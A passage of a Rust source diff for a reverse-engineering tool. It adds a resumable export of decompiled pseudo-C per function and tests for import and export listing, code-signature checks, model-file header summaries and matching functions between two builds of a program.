that's safe everywhere, whatever a hostile program calls its function: the entry +/// address keeps it unique and the name is only a readable hint. +fn export_file_name(entry: u64, name: &str) -> String { + let safe: String = name.chars().filter(char::is_ascii).map(|c| if c.is_ascii_alphanumeric() || c == '_' { c } else { '_' }).take(64).collect(); + let safe = safe.trim_matches('_'); + if safe.is_empty() { format!("{entry:016x}.c") } else { format!("{entry:016x}_{safe}.c") } +} + +/// A name inside a one-line comment: nothing in it can end the comment's line. +fn comment_safe(name: &str) -> String { + name.chars().map(|c| if c.is_control() { ' ' } else { c }).take(512).collect() +} + +/// Read the state of an existing folder, or start one in a new or empty folder. Refuses a folder +/// with anything else in it, another target's export, and a state it can't read. +fn open_export_state(folder: &Path, sha: &str, target: &str) -> Result { + let state_path = folder.join(EXPORT_STATE_FILE); + let fresh = || ExportState { + version: EXPORT_STATE_VERSION, + target_sha256: sha.to_string(), + target_name: target.to_string(), + engine: "clean-room lifter".to_string(), + functions: BTreeMap::new(), + }; + if folder.exists() && !folder.is_dir() { + return Err(ToolError::invalid(format!("{} is a file, not a folder", folder.display()))); + } + if !state_path.exists() { + if folder.is_dir() { + let mut entries = std::fs::read_dir(folder).map_err(|e| ToolError::io(folder.display(), e))?; + if entries.next().is_some() { + return Err(ToolError::invalid(format!("{} already has other files in it", folder.display())) + .with_remediation("Pick a new or empty folder, so nothing of yours is overwritten.")); + } + } + return Ok(fresh()); + } + let bytes = std::fs::read(&state_path).map_err(|e| ToolError::io(state_path.display(), e))?; + let unreadable = |why: String| { + ToolError::invalid(format!("Couldn't read the state file {}: {why}", state_path.display())) + .with_remediation("Pick a new folder; this one is left as it is.") + }; + let raw: Value = serde_json::from_slice(&bytes).map_err(|e| unreadable(e.to_string()))?; + let version = raw.get("version").and_then(Value::as_u64).ok_or_else(|| unreadable("it has no version".into()))?; + if version != u64::from(EXPORT_STATE_VERSION) { + return Err(unreadable(format!("it is version {version}, and this app reads version {EXPORT_STATE_VERSION}"))); + } + let state: ExportState = serde_json::from_value(raw).map_err(|e| unreadable(e.to_string()))?; + if state.target_sha256 != sha { + return Err(ToolError::invalid(format!("{} holds an export of a different file ({})", folder.display(), state.target_name)) + .with_remediation("Pick a new folder for this target, or open the file this export belongs to.") + .with_details(json!({"reason": "different_target", "folder_target_sha256": state.target_sha256, "target_sha256": sha}))); + } + Ok(state) +} + +fn save_export_state(folder: &Path, state: &ExportState) -> Result<(), ToolError> { + let bytes = serde_json::to_vec_pretty(state).map_err(|e| ToolError::invalid(format!("Couldn't write the state: {e}")))?; + write_atomic(&folder.join(EXPORT_STATE_FILE), &bytes) +} + +fn native_source_folder_write(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ExportCodeParams = parse_params(params)?; + select_document(ctx, &p.document)?; + if !(1..=1_000_000).contains(&p.max_functions) { + return Err(ToolError::invalid("max_functions must be between 1 and 1000000")); + } + if p.max_seconds > 3600 { + return Err(ToolError::invalid("max_seconds can be at most 3600")); + } + let folder = PathBuf::from(&p.folder); + if !folder.is_absolute() { + return Err(ToolError::invalid(format!("{:?} is not an absolute path", p.folder)).with_remediation("Pass the full path of a folder.")); + } + // Refuse before the (possibly long) analysis. + let (sha, target_name) = { + let t = &ctx.session.active()?.target; + (t.sha256.clone(), t.name.clone()) + }; + let mut state = open_export_state(&folder, &sha, &target_name)?; + let st = native(ctx)?; + std::fs::create_dir_all(&folder).map_err(|e| ToolError::io(folder.display(), e))?; + save_export_state(&folder, &state)?; + + let t = ctx.session.active()?; + let user = user_names(t); + let names = |a: u64| user.get(&a).cloned(); + let total = st.prog.functions.len(); + let started = Instant::now(); + let limit = Duration::from_secs(p.max_seconds); + let mut last_save = Instant::now(); + let mut unsaved = 0usize; + let mut written_now = 0usize; + let mut already_done = 0usize; + let mut replaced_missing = 0usize; + let mut listed = Vec::new(); + let mut stopped = "finished"; + let mut next_function = None; + for (i, f) in st.prog.functions.values().enumerate() { + if let Err(e) = ctx.cancel.check() { + // What's written stays usable: the next run carries on from here. + save_export_state(&folder, &state)?; + return Err(e); + } + let key = format!("{:#x}", f.entry); + if let Some(done) = state.functions.get(&key) { + if folder.join(&done.file).is_file() { + already_done += 1; + continue; + } + replaced_missing += 1; + } + if written_now >= p.max_functions { + stopped = "max_functions"; + next_function = Some(key); + break; + } + if started.elapsed() >= limit { + stopped = "time_limit"; + next_function = Some(key); + break; + } + if i % 64 == 0 { + ctx.report(Some(i as f32 / total.max(1) as f32), format!("writing {}", f.name)); + } + let ps = lift(&st.img, &st.prog, f, &names); + let name = names(f.entry).unwrap_or_else(|| f.name.clone()); + let file = export_file_name(f.entry, &name); + let text = format!( + "// {} at {key}, from {}. Approximate pseudo-C from the built-in decompiler.\n{}\n", + comment_safe(&name), + comment_safe(&target_name), + ps.text + ); + write_atomic(&folder.join(&file), text.as_bytes())?; + if listed.len() < MAX_LISTED { + listed.push(file.clone()); + } + state.functions.insert(key, ExportedFunction { file, name, lines: ps.text.lines().count(), structured: ps.structured }); + written_now += 1; + unsaved += 1; + if unsaved >= SAVE_EVERY_FUNCTIONS || last_save.elapsed() >= SAVE_EVERY { + save_export_state(&folder, &state)?; + unsaved = 0; + last_save = Instant::now(); + } + } + save_export_state(&folder, &state)?; + + let done = st.prog.functions.keys().filter(|e| state.functions.contains_key(&format!("{e:#x}"))).count(); + let remaining = total.saturating_sub(done); + let finished = remaining == 0; + let summary = if finished { + format!("All {total} functions are written ({written_now} in this run, {already_done} from earlier runs).") + } else { + format!("{done} of {total} functions are written ({written_now} in this run); {remaining} remain. Run this again with the same folder to continue.") + }; + let capped = st.prog.discovery_capped(); + let mut lims = vec![Limitation::new( + "pseudo_code_inferred", + "Pseudo-C from the built-in decompiler is register-level and approximate. Deep mode's Ghidra isn't used here, as in native_functions_decompile.", + )]; + if capped { + lims.push(Limitation::new("discovery_capped", "Function discovery hit a limit on this program, so \"all\" means all the functions it found.")); + } + let e = super::native_common::ev(ctx, "native_source_folder_write", params_json(&p))? + .result(json!({ + "folder": folder, + "state_file": EXPORT_STATE_FILE, + "target_sha256": sha, + "functions_total": total, + "functions_done": done, + "written_now": written_now, + "already_done": already_done, + "replaced_missing": replaced_missing, + "remaining": remaining, + "finished": finished, + "stopped_because": stopped, + "next_function": next_function, + "written_files": listed, + })) + .summary(summary) + .confidence(Confidence::Inferred) + .target_content(true) + .limitations(lims) + .coverage(Coverage { + status: if finished && !capped { CoverageStatus::Complete } else { CoverageStatus::Partial }, + examined: Some(done as u64), + total: Some(total as u64), + next_offset: None, + }) + .location(Location::new("path", folder.display().to_string())) + .build()?; + Ok(ToolOutput::evidence(e)) +} + +#[cfg(test)] +mod tests { + use super::super::native_common::test_support::{call, call_err, engine_with}; + use super::*; + use crate::{CallOptions, Caller, Engine}; + use craft_anything_testkit::program_facts as pf; + use craft_anything_testkit::temp_file; + + fn engine() -> Engine { + Engine::new(crate::testing::session()) + } + + fn limitation<'a>(v: &'a Value, code: &str) -> Option<&'a Value> { + v["limitations"].as_array().and_then(|l| l.iter().find(|x| x["code"] == code)) + } + + #[test] + fn deep_only_all_of_them() { + // Clean room refuses each: they look inside the target. + let e = engine(); + e.session().settings.deep_mode = false; + let p = temp_file("a.bin", &pf::pe_facts()); + for (id, params) in [ + ("native_library_calls_list", json!({"path": p})), + ("native_offered_symbols_list", json!({"path": p})), + ("native_publisher_show", json!({"path": p})), + ("formats_ai_weights_show", json!({"path": p})), + ("app_builds_line_up", json!({"left": p, "right": p})), + ] { + assert!(crate::clean_room::is_refusal(&call_err(&e, id, params)), "{id}"); + } + } + + #[test] + fn pe_imports_grouped_with_kinds_and_filters() { + let e = engine(); + let p = temp_file("facts.dll", &pf::pe_facts()); + let v = call(&e, "native_library_calls_list", json!({"path": p})); + assert_eq!(v["confidence"], "observed"); + let r = &v["result"]; + let version = r["libraries"].as_array().unwrap().iter().find(|l| l["name"] == "VERSION.dll").unwrap(); + assert_eq!(version["kinds"], json!(["delay"])); + assert_eq!(version["by_ordinal_only"], 1); + let delayed = r["imports"].as_array().unwrap().iter().find(|i| i["name"] == "GetFileVersionInfoW").unwrap(); + assert_eq!(delayed["kind"], "delay"); + assert!(delayed["slot"].as_str().unwrap().starts_with("0x")); + assert_eq!(r["bound_modules"][0]["name"], "USER32.dll"); + assert!(v["summary"].as_str().unwrap().contains("delay-loaded")); + + let v = call(&e, "native_library_calls_list", json!({"path": p, "contains": "createfile"})); + assert_eq!(v["result"]["matching"], 1); + assert_eq!(v["result"]["imports"][0]["hint"], 7); + let v = call(&e, "native_library_calls_list", json!({"path": p, "kind": "delay"})); + assert_eq!(v["result"]["matching"], 2); + // A library's name matches too. + let v = call(&e, "native_library_calls_list", json!({"path": p, "contains": "user32"})); + assert_eq!(v["result"]["imports"][0]["bound"], true); + // Pages. + let v = call(&e, "native_library_calls_list", json!({"path": p, "limit": 2})); + assert_eq!(v["result"]["imports"].as_array().unwrap().len(), 2); + assert_eq!(v["coverage"]["status"], "partial"); + assert_eq!(v["coverage"]["next_offset"], 2); + let v = call(&e, "native_library_calls_list", json!({"path": p, "offset": 1000})); + assert!(v["result"]["imports"].as_array().unwrap().is_empty()); + } + + #[test] + fn elf_and_macho_imports_and_exports() { + let e = engine(); + let p = temp_file("libv.so", &pf::elf_versioned_library()); + let v = call(&e, "native_library_calls_list", json!({"path": p})); + let i = &v["result"]["imports"][0]; + assert_eq!((&i["name"], &i["version"], &i["library"]), (&json!("puts"), &json!("GLIBC_2.2.5"), &json!("libc.so.6"))); + let v = call(&e, "native_offered_symbols_list", json!({"path": p})); + assert_eq!(v["result"]["total"], 2); + assert_eq!(v["result"]["exports"][0]["version"], "LIB_1.0"); + assert_eq!(v["result"]["exports"][1]["binding"], "weak"); + + let p = temp_file("m", &craft_anything_testkit::macho64()); + let v = call(&e, "native_library_calls_list", json!({"path": p})); + assert!(v["result"]["imports"].as_array().unwrap().iter().any(|i| i["name"].as_str().unwrap().contains("puts")), "{v}"); + assert!(v["result"]["libraries"].as_array().unwrap().iter().any(|l| l["name"].as_str().unwrap().contains("libSystem")), "{v}"); + let _ = call(&e, "native_offered_symbols_list", json!({"path": p})); + + // A file that isn't a program. + let p = temp_file("t.txt", b"just some words"); + assert!(!call_err(&e, "native_library_calls_list", json!({"path": p})).message.is_empty()); + } + + #[test] + fn pe_exports_need_no_analysis_and_page() { + // The active target: no analysis has run, and none does. + let e = engine_with("facts.dll", &pf::pe_facts()); + let v = call(&e, "native_offered_symbols_list", json!({})); + let r = &v["result"]; + assert_eq!((&r["total"], &r["forwarded"], &r["ordinal_only"]), (&json!(3), &json!(1), &json!(1))); + assert_eq!(r["details"]["library_name"], "facts.dll"); + assert_eq!(r["exports"][1]["forwarder"], "NTDLL.RtlBeta"); + assert!(r["exports"][1].get("address").is_none(), "a forwarder holds no code here"); + assert_eq!(r["exports"][2]["ordinal"], 8); + assert!(r["exports"][2].get("name").is_none_or(Value::is_null)); + assert!(v["summary"].as_str().unwrap().contains("forwarded")); + let v = call(&e, "native_offered_symbols_list", json!({"contains": "rtlbeta"})); + assert_eq!(v["result"]["matching"], 1); + let v = call(&e, "native_offered_symbols_list", json!({"limit": 1, "offset": 1})); + assert_eq!(v["coverage"]["next_offset"], 2); + } + + #[test] + fn signer_says_what_it_checked() { + let e = engine(); + let p = temp_file("signed.exe", &pf::signed_pe()); + let v = call(&e, "native_publisher_show", json!({"path": p})); + let s = v["summary"].as_str().unwrap(); + assert!(s.starts_with("Signed by") && s.contains("Craft Signer"), "{s}"); + assert!(s.contains("hash matches") && s.contains("checks out") && s.contains("wasn't checked"), "{s}"); + assert_eq!(v["result"]["signed"], true); + assert_eq!(v["result"]["file_hash"], "matches"); + assert_eq!(v["result"]["signature_check"]["status"], "valid"); + assert!(v["result"]["signer"]["not_after"].is_string()); + assert!(limitation(&v, "trust_not_checked").is_some()); + assert!(limitation(&v, "attachments_not_read").is_some()); + assert_eq!(v["result"]["table"]["entries"][0]["signature"]["digest_algorithm"], "sha256"); + + // Changed after signing. + let mut tampered = pf::signed_pe(); + let at = craft_anything_formats::pe::headers(&tampered).unwrap().rva_to_offset(0x1000).unwrap(); + tampered[at] ^= 0x55; + let p = temp_file("tampered.exe", &tampered); + let v = call(&e, "native_publisher_show", json!({"path": p})); + assert_eq!(v["result"]["file_hash"], "differs"); + assert!(v["summary"].as_str().unwrap().contains("does NOT match")); + + // Unsigned. + let p = temp_file("plain.exe", &pf::pe_facts()); + let v = call(&e, "native_publisher_show", json!({"path": p})); + assert_eq!(v["result"]["has_signature_block"], false); + assert!(v["summary"].as_str().unwrap().contains("no signature block")); + assert!(limitation(&v, "catalog_possible").is_some()); + + // Not a signature, and not a Windows program. + let p = temp_file("junk.exe", &pf::pe_with_certificate(&pf::pe_facts(), 2, b"garbage")); + let v = call(&e, "native_publisher_show", json!({"path": p})); + assert_eq!(v["result"]["signed"], false); + assert!(v["summary"].as_str().unwrap().contains("isn't well-formed")); + let p = temp_file("e", &pf::elf_versioned_library()); + assert!(!call_err(&e, "native_publisher_show", json!({"path": p})).message.is_empty()); + } + + #[test] + fn model_summaries_are_plain_and_page() { + let e = engine(); + let d = pf::gguf_header(3); + let p = temp_file("m.gguf", &d); + let v = call(&e, "formats_ai_weights_show", json!({"path": p, "limit": 2})); + let s = v["summary"].as_str().unwrap(); + assert!(s.starts_with("A llama model in GGUF format") && s.contains("thousand parameters") && s.contains("Q4_K"), "{s}"); + assert_eq!(v["result"]["tensors"].as_array().unwrap().len(), 2); + assert_eq!(v["coverage"]["next_offset"], 2); + assert!(limitation(&v, "tensor_data_not_read").is_some()); + assert!(v["subject"]["sha256"].is_string(), "the whole file was read"); + + let summary = call(&e, "formats_ai_weights_show", json!({"path": p, "detail": "summary"})); + assert_eq!(summary["result"]["architecture"], "llama"); + assert!(summary["result"]["saved_evidence"]["evidence_id"].is_string()); + + let d = pf::safetensors_file(pf::SAFETENSORS_HEADER, 32); + let p = temp_file("m.safetensors", &d); + let v = call(&e, "formats_ai_weights_show", json!({"path": p})); + assert!(v["summary"].as_str().unwrap().contains("safetensors"), "{}", v["summary"]); + assert_eq!(v["result"]["report"]["parameters"], 14); + + let p = temp_file("bad.safetensors", &pf::safetensors_file("{oops", 0)); + assert!(!call_err(&e, "formats_ai_weights_show", json!({"path": p})).message.is_empty()); + let p = temp_file("no.bin", b"not a model, not even close"); + assert!(!call_err(&e, "formats_ai_weights_show", json!({"path": p})).message.is_empty()); + } + + #[test] + fn a_model_summary_keeps_every_tensor_for_browsing() { + let e = engine(); + let mut header = json!({"__metadata__": {"format": "pt"}}); + for i in 0..250 { + header[format!("t{i:03}.weight")] = json!({"dtype": "F32", "shape": [1], "data_offsets": [i * 4, i * 4 + 4]}); + } + let p = temp_file("many.safetensors", &pf::safetensors_file(&header.to_string(), 1000)); + let summary = call(&e, "formats_ai_weights_show", json!({"path": p, "detail": "summary"})); + assert_eq!(summary["result"]["tensors"], 250); + let source = summary["result"]["saved_evidence"].clone(); + let browse = |offset: usize, limit: usize| { + call(&e, "core_evidence_browse", json!({"source": source, "show": {"kind": "rows", "list": "tensors", "offset": offset, "limit": limit}})) + }; + let tail = browse(200, 200); + assert_eq!(tail["result"]["shown"]["items"].as_array().unwrap().len(), 50); + assert_eq!(tail["result"]["coverage"]["total"], 250); + let mut names = Vec::new(); + let mut cursor = 0usize; + loop { + let v = browse(cursor, 64); + names.extend(v["result"]["shown"]["items"].as_array().unwrap().iter().map(|x| x["name"].as_str().unwrap().to_owned())); + match v["result"]["coverage"]["next_offset"].as_u64() { + Some(next) => { + assert!(next > cursor as u64); + cursor = next as usize; + } + None => break, + } + } + assert_eq!(names, (0..250).map(|i| format!("t{i:03}.weight")).collect::>()); + } + + #[test] + fn a_big_model_is_read_only_at_its_start() { + let e = engine(); + // A large file whose tail isn't needed: only the first KiB is read. + let mut d = pf::gguf_header(3); + d.resize(4 << 20, 0xee); + let p = temp_file("big.gguf", &d); + let v = call(&e, "formats_ai_weights_show", json!({"path": p, "max_header_bytes": 4096})); + assert_eq!(v["result"]["bytes_read"], 4096); + assert_eq!(v["result"]["report"]["file_size"], 4 << 20); + assert!(limitation(&v, "part_of_file_read").is_some()); + assert!(v["subject"].get("sha256").is_none_or(Value::is_null), "a part's hash must not pass for the file's"); + + // A limit that ends inside the header says so rather than passing for the whole model. + let v = call(&e, "formats_ai_weights_show", json!({"path": p, "max_header_bytes": 1024})); + let cut = pf::gguf_header(3).len() > 1024; + assert_eq!(v["result"]["report"]["complete"], !cut); + + // Safetensors with a header past the limit: the remedy is named. + let big = format!("{{\"__metadata__\":{{\"pad\":\"{}\"}}}}", "x".repeat(5000)); + let p = temp_file("h.safetensors", &pf::safetensors_file(&big, 0)); + let err = call_err(&e, "formats_ai_weights_show", json!({"path": p, "max_header_bytes": 1024})); + assert!(err.remediation.unwrap_or_default().contains("max_header_bytes")); + assert!(!call_err(&e, "formats_ai_weights_show", json!({"path": p, "max_header_bytes": 1})).message.is_empty()); + } + + /// A first build and a second one with one of everything that can happen to a function. + fn two_builds() -> (Vec, Vec) { + let left = pf::elf_with_functions(&[ + ("kept", pf::plain_body(1)), + ("edited", pf::plain_body(2)), + ("old_name", pf::plain_body(3)), + ("removed", pf::plain_body(4)), + ("twin_a", pf::plain_body(7)), + ("twin_b", pf::plain_body(7)), + ]); + let right = pf::elf_with_functions(&[ + ("kept", pf::plain_body(1)), + ("edited", pf::plain_body(200)), + ("new_name", pf::plain_body(3)), + ("added", pf::plain_body(5)), + ("twin_c", pf::plain_body(7)), + ("twin_d", pf::plain_body(7)), + ]); + (left, right) + } + + fn pair<'a>(v: &'a Value, left_name: &str) -> &'a Value { + v["result"]["pairs"].as_array().unwrap().iter().find(|p| p["left"]["name"] == left_name).unwrap_or_else(|| panic!("no pair for {left_name}: {v}")) + } + + #[test] + fn matching_renamed_ambiguous_removed_and_changed() { + let (l, r) = two_builds(); + let (lp, rp) = (temp_file("old.elf", &l), temp_file("new.elf", &r)); + let e = engine(); + let v = call(&e, "app_builds_line_up", json!({"left": lp, "right": rp})); + + let kept = pair(&v, "kept"); + assert_eq!((&kept["method"], &kept["body"], &kept["confidence"]), (&json!("exact_name"), &json!("identical"), &json!("high"))); + + // The same name doesn't mean the same code. + let edited = pair(&v, "edited"); + assert_eq!((&edited["method"], &edited["body"]), (&json!("exact_name"), &json!("changed"))); + + // A new name on the same bytes. + let renamed = pair(&v, "old_name"); + assert_eq!( + (&renamed["method"], &renamed["right"]["name"], &renamed["renamed"], &renamed["body"]), + (&json!("identical_bytes"), &json!("new_name"), &json!(true), &json!("identical")) + ); + + // Twins stay unpaired, on both sides, and aren't guessed. + let groups = v["result"]["ambiguous"].as_array().unwrap(); + assert_eq!(groups.len(), 1, "{groups:?}"); + assert_eq!(groups[0]["method"], "identical_bytes"); + let names = |k: &str| groups[0][k].as_array().unwrap().iter().map(|x| x["name"].as_str().unwrap().to_string()).collect::>(); + assert_eq!(names("left"), vec!["twin_a", "twin_b"]); + assert_eq!(names("right"), vec!["twin_c", "twin_d"]); + for p in v["result"]["pairs"].as_array().unwrap() { + assert!(!p["left"]["name"].as_str().unwrap().starts_with("twin"), "{p}"); + } + + // What's on one side only. + assert_eq!(v["result"]["only_left"].as_array().unwrap().iter().filter(|x| x["name"] == "removed").count(), 1); + assert_eq!(v["result"]["only_right"].as_array().unwrap().iter().filter(|x| x["name"] == "added").count(), 1); + assert!(limitation(&v, "same_name_not_same_code").is_some() && limitation(&v, "unpaired_not_removed").is_some()); + assert_eq!(v["result"]["counts"]["changed"], 1); + + // One list at a time, and pages of it. + let v = call(&e, "app_builds_line_up", json!({"left": lp, "right": rp, "show": "changed"})); + assert_eq!(v["result"]["pairs"].as_array().unwrap().len(), 1); + assert!(v["result"].get("only_left").is_none()); + let v = call(&e, "app_builds_line_up", json!({"left": lp, "right": rp, "show": "pairs", "limit": 1})); + assert_eq!(v["coverage"]["status"], "partial"); + assert_eq!(v["coverage"]["next_offset"], 1); + let v = call(&e, "app_builds_line_up", json!({"left": lp, "right": rp, "detail": "summary"})); + assert!(v["result"]["saved_evidence"]["evidence_id"].is_string()); + assert_eq!(v["result"]["counts"]["ambiguous_groups"], 1); + } + + #[test] + fn matching_masks_addresses_and_catches_what_masking_hides() { + // `caller` moves, so its call's offset changes while its instructions don't. + let callee = pf::plain_body(9); + let filler = pf::plain_body(8); + let left = pf::elf_with_functions(&[("callee", callee.clone()), ("", pf::calling_body(0x20, 0, 11))]); + let right = pf::elf_with_functions(&[("callee", callee.clone()), ("filler", filler), ("", pf::calling_body(0x40, 0, 11))]); + let (lp, rp) = (temp_file("a.elf", &left), temp_file("b.elf", &right)); + let e = engine(); + let v = call(&e, "app_builds_line_up", json!({"left": lp, "right": rp})); + let rows = v["result"]["pairs"].as_array().unwrap(); + let moved = rows.iter().find(|p| p["method"] == "masked_bytes").unwrap_or_else(|| panic!("{v}")); + assert_eq!(moved["body"], "same_apart_from_addresses", "{moved}"); + assert_eq!(moved["confidence"], "medium"); + + // The same bytes apart from where the call goes, but it now reaches another named + // function: that's changed code. + let other = pf::plain_body(10); + let left = pf::elf_with_functions(&[("first", callee.clone()), ("second", other.clone()), ("", pf::calling_body(0x40, 0, 11))]); + let right = pf::elf_with_functions(&[("first", callee), ("second", other), ("", pf::calling_body(0x40, 0x20, 11))]); + let (lp, rp) = (temp_file("c.elf", &left), temp_file("d.elf", &right)); + let v = call(&e, "app_builds_line_up", json!({"left": lp, "right": rp})); + let moved = v["result"]["pairs"].as_array().unwrap().iter().find(|p| p["method"] == "masked_bytes").unwrap_or_else(|| panic!("{v}")); + assert_eq!(moved["body"], "changed", "{moved}"); + assert_eq!(moved["differences"], json!(["calls"])); + } + + #[test] + fn matching_a_program_with_itself_and_with_bad_input() { + let (l, _) = two_builds(); + let lp = temp_file("same.elf", &l); + let e = engine(); + let v = call(&e, "app_builds_line_up", json!({"left": lp, "right": lp})); + assert_eq!(v["result"]["counts"]["changed"], 0); + assert!(v["result"]["pairs"].as_array().unwrap().iter().all(|p| p["body"] == "identical")); + let junk = temp_file("junk", b"this is not a program"); + assert!(!call_err(&e, "app_builds_line_up", json!({"left": lp, "right": junk})).message.is_empty()); + assert!(!call_err(&e, "app_builds_line_up", json!({"left": "relative", "right": lp})).message.is_empty()); + assert!(!call_err(&e, "app_builds_line_up", json!({"left": lp, "right": lp, "max_file_bytes": u64::MAX})).message.is_empty()); + } + + #[test] + fn tiny_unnamed_bodies_are_counted_not_paired() { + // Same small body in both builds, unnamed: it says too little, so it isn't paired. + let tiny = vec![0x55, 0x48, 0x89, 0xe5, 0x5d, 0xc3]; + let left = pf::elf_with_functions(&[("kept", pf::plain_body(1)), ("", tiny.clone())]); + let right = pf::elf_with_functions(&[("kept", pf::plain_body(1)), ("", tiny)]); + let (lp, rp) = (temp_file("t1.elf", &left), temp_file("t2.elf", &right)); + let v = call(&engine(), "app_builds_line_up", json!({"left": lp, "right": rp})); + assert_eq!(v["result"]["counts"]["pairs"], 1, "{v}"); + assert_eq!(v["result"]["counts"]["only_left_too_small_to_pair"], 1, "{v}"); + assert_eq!(v["result"]["counts"]["only_right_too_small_to_pair"], 1, "{v}"); + } + + #[test] + fn matching_works_on_arm64_and_says_when_processors_differ() { + let (arm, _) = craft_anything_testkit::elf64(craft_anything_testkit::ElfArch::Aarch64, true); + let (x64, _) = craft_anything_testkit::elf64(craft_anything_testkit::ElfArch::X86_64, true); + let (ap, xp) = (temp_file("arm.elf", &arm), temp_file("x64.elf", &x64)); + let e = engine(); + let v = call(&e, "app_builds_line_up", json!({"left": ap, "right": ap})); + assert_eq!(v["result"]["left"]["processor"], "arm64"); + assert!(v["result"]["counts"]["pairs"].as_u64().unwrap() >= 2, "{v}"); + assert_eq!(v["result"]["counts"]["changed"], 0); + + // Different processors: names still pair, and no body is called the same or different. + let v = call(&e, "app_builds_line_up", json!({"left": ap, "right": xp})); + assert!(limitation(&v, "different_processors").is_some()); + let main = pair(&v, "main"); + assert_eq!((&main["method"], &main["body"]), (&json!("exact_name"), &json!("not_compared"))); + assert_eq!(v["result"]["counts"]["by_method"]["identical_bytes"], 0); + } + + #[test] + fn matching_can_be_cancelled() { + let (l, r) = two_builds(); + let (lp, rp) = (temp_file("x.elf", &l), temp_file("y.elf", &r)); + let e = engine(); + let token = crate::tool::CancelToken::default(); + token.cancel(); + let out = e.call("app_builds_line_up", json!({"left": lp, "right": rp}), CallOptions::new(Caller::Mcp).with_cancel(token)); + assert!(out.is_err()); + } + + #[test] + fn matching_survives_damaged_builds() { + let (l, r) = two_builds(); + let rp = temp_file("good.elf", &r); + let e = engine(); + for (i, m) in craft_anything_testkit::mutations(&l).into_iter().enumerate().take(40) { + let p = temp_file(&format!("m{i}.elf"), &m); + let _ = e.call("app_builds_line_up", json!({"left": p, "right": rp}), CallOptions::new(Caller::Mcp)); + } + } + + fn exported_files(dir: &Path) -> Vec { + let mut v: Vec = std::fs::read_dir(dir).unwrap().map(|x| x.unwrap().path()).filter(|x| x.extension().is_some_and(|e| e == "c")).collect(); + v.sort(); + v + } + + #[test] + fn export_runs_in_parts_and_does_not_repeat_work() { + let (bytes, _) = craft_anything_testkit::elf64(craft_anything_testkit::ElfArch::X86_64, true); + let e = engine_with("prog", &bytes); + let tmp = tempfile::tempdir().unwrap(); + let folder = tmp.path().join("out"); + + let v = call(&e, "native_source_folder_write", json!({"folder": folder, "max_functions": 2})); + let total = v["result"]["functions_total"].as_u64().unwrap(); + assert!(total > 2, "{v}"); + assert_eq!((&v["result"]["written_now"], &v["result"]["functions_done"], &v["result"]["finished"]), (&json!(2), &json!(2), &json!(false))); + assert_eq!(v["result"]["stopped_because"], "max_functions"); + assert_eq!(v["result"]["remaining"], total - 2); + assert!(v["result"]["next_function"].is_string()); + assert_eq!(v["coverage"]["status"], "partial"); + let first_files = exported_files(&folder); + assert_eq!(first_files.len(), 2); + let before: Vec<_> = first_files.iter().map(|f| std::fs::metadata(f).unwrap().modified().unwrap()).collect(); + let text = std::fs::read_to_string(&first_files[0]).unwrap(); + assert!(text.starts_with("// "), "{text}"); + + // The rest, in a second call: nothing written twice. + std::thread::sleep(Duration::from_millis(20)); + let v = call(&e, "native_source_folder_write", json!({"folder": folder})); + assert_eq!(v["result"]["already_done"], 2); + assert_eq!(v["result"]["written_now"], total - 2); + assert_eq!(v["result"]["finished"], true); + assert_eq!(v["result"]["stopped_because"], "finished"); + assert_eq!(v["coverage"]["status"], "complete"); + let after: Vec<_> = first_files.iter().map(|f| std::fs::metadata(f).unwrap().modified().unwrap()).collect(); + assert_eq!(before, after, "finished functions are skipped"); + assert_eq!(exported_files(&folder).len() as u64, total); + + // A third call has nothing to do. + let v = call(&e, "native_source_folder_write", json!({"folder": folder})); + assert_eq!((&v["result"]["written_now"], &v["result"]["already_done"]), (&json!(0), &json!(total))); + + // The state file is versioned and says what it's about. + let state: Value = serde_json::from_slice(&std::fs::read(folder.join(EXPORT_STATE_FILE)).unwrap()).unwrap(); + assert_eq!(state["version"], 1); + assert_eq!(state["functions"].as_object().unwrap().len() as u64, total); + assert_eq!(state["target_sha256"], v["result"]["target_sha256"]); + + // A file that went missing is written again, and only that one. + std::fs::remove_file(&first_files[0]).unwrap(); + let v = call(&e, "native_source_folder_write", json!({"folder": folder})); + assert_eq!((&v["result"]["written_now"], &v["result"]["replaced_missing"]), (&json!(1), &json!(1))); + assert!(first_files[0].is_file()); + } + + #[test] + fn export_refuses_another_target_and_other_peoples_folders() { + let (a, _) = craft_anything_testkit::elf64(craft_anything_testkit::ElfArch::X86_64, true); + let (b, _) = craft_anything_testkit::elf64(craft_anything_testkit::ElfArch::Aarch64, true); + let tmp = tempfile::tempdir().unwrap(); + let folder = tmp.path().join("out"); + let e = engine_with("a", &a); + let v = call(&e, "native_source_folder_write", json!({"folder": folder, "max_functions": 1})); + assert_eq!(v["result"]["written_now"], 1); + let count = exported_files(&folder).len(); + + let other = engine_with("b", &b); + let err = call_err(&other, "native_source_folder_write", json!({"folder": folder})); + assert!(err.message.contains("different file"), "{}", err.message); + assert_eq!(exported_files(&folder).len(), count, "nothing was added"); + + // A folder with someone's files in it. + let theirs = tempfile::tempdir().unwrap(); + std::fs::write(theirs.path().join("notes.txt"), b"keep me").unwrap(); + let err = call_err(&e, "native_source_folder_write", json!({"folder": theirs.path()})); + assert!(err.message.contains("other files"), "{}", err.message); + assert_eq!(std::fs::read(theirs.path().join("notes.txt")).unwrap(), b"keep me"); + + // A state file from the future, or damaged: left alone and refused. + for bad in [&b"{\"version\":99}"[..], b"not json", b"{}", b"{\"version\":1}"] { + let dir = tempfile::tempdir().unwrap(); + let state = dir.path().join(EXPORT_STATE_FILE); + std::fs::write(&state, bad).unwrap(); + let err = call_err(&e, "native_source_folder_write", json!({"folder": dir.path()})); + assert!(err.message.contains("state file"), "{}", err.message); + assert_eq!(std::fs::read(&state).unwrap(), bad); + } + + // Bad parameters and a file in the folder's place. + assert!(!call_err(&e, "native_source_folder_write", json!({"folder": "relative/path"})).message.is_empty()); + assert!(!call_err(&e, "native_source_folder_write", json!({"folder": folder, "max_functions": 0})).message.is_empty()); + assert!(!call_err(&e, "native_source_folder_write", json!({"folder": folder, "max_seconds": 3601})).message.is_empty()); + let file = temp_file("a-file", b"x"); + assert!(!call_err(&e, "native_source_folder_write", json!({"folder": file})).message.is_empty()); + } + + #[test] + fn export_stops_at_its_time_limit_and_when_cancelled() { + let (bytes, _) = craft_anything_testkit::elf64(craft_anything_testkit::ElfArch::X86_64, true); + let e = engine_with("prog", &bytes); + let tmp = tempfile::tempdir().unwrap(); + let folder = tmp.path().join("out"); + + let v = call(&e, "native_source_folder_write", json!({"folder": folder, "max_seconds": 0})); + assert_eq!((&v["result"]["stopped_because"], &v["result"]["written_now"]), 